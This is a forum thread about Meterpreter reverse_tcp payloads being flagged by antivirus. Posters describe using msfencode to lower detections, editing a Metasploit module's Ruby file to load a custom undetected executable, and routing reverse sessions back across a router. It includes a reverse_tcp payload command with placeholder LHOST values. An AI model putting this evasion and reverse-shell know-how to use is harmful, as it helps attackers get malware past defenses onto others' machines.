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Meterpreter exe's now detected
Good or bad news depending on who cares, but the meterpreter reverse_tcp payload embeded in an exe or shellcode within another exe is now detected:
Virustotal. MD5: c32f921f597c7f82f4b48a7604b6d860 Trojan Horse Trojan.Vilsel.omg Trojan:W32/Rozena.gen!A
also this was created with no encoders, although i dont think they would help.
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Meterpreter
It is still possible to compile a relatively undetected copy of meterpreter using msfencode. The one I have is only being flagged by 2 on virustotal right now. (Microsoft,Trojan:Win32/Swrort.A & Symantec, Suspicious.Insight)
However, my question to anyone out there is this:
how can I specify to use my custom meterpreter as a payload for an exploit in Metasploit?
for example. I was testing the java_signed_applet module today and the executable that is run from the jar file kept flagging a/v. I would like to specify my own version of meterpreter instead that does not get flagged.
i have searched for an answer and tried variations of the following:
set PAYLOAD windows/meterpreter/reverse_tcp LHOST xx LPORT xx R | msfencode xx xx xx xx
but of course it doesnt like that value as the actual PAYLOAD.. any help would be appreciated
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to accomplish what i was asking in the post above, here is a work around by editing the actual ruby file:
data = open("path/filename", "rb") {|io| io.read}
where filename is the copy of the undetected meterpreter executable and most frequently data is the payload variable
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hey collins.fax
hello, i saw ur post talking about meterpreter detection, man i would appreciate if yould tell me the commands of msfencode that you used to get 2 AV's detected at virus total, thanks
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Hi Fellaz,
I've successfully exploited various win xp machines on my lan in lab environment using SET and aurora exploit but that is locally, how can these exploitz be used against other side of router on MY remote office pcs (ie.) want to try and pentest outside the local lan, will the exploit meterpreter session come back to me on my LHOST 192.168.0.8 address even if not on the same lan. if not how can it be acheived?
Pentest office : attack machine ip 192.168.0.8 public ip 96.xx.xx.xx
Remote office different lan: victim ip 192.168.1.9 public ip 92.xx.xx.xx
MY OWN btw victim machine both owned my myself.
both ip addresses differ 92.xx.xx.xx and 96.xx.xx.xx so how to metasploit past my remote router into the lan side.
As stated I own both networks but not Pwnd yet.
Googled and not found a thing apart from changing LHOST to public ip but thats just the router isnt it?
Kind Regardz DEE
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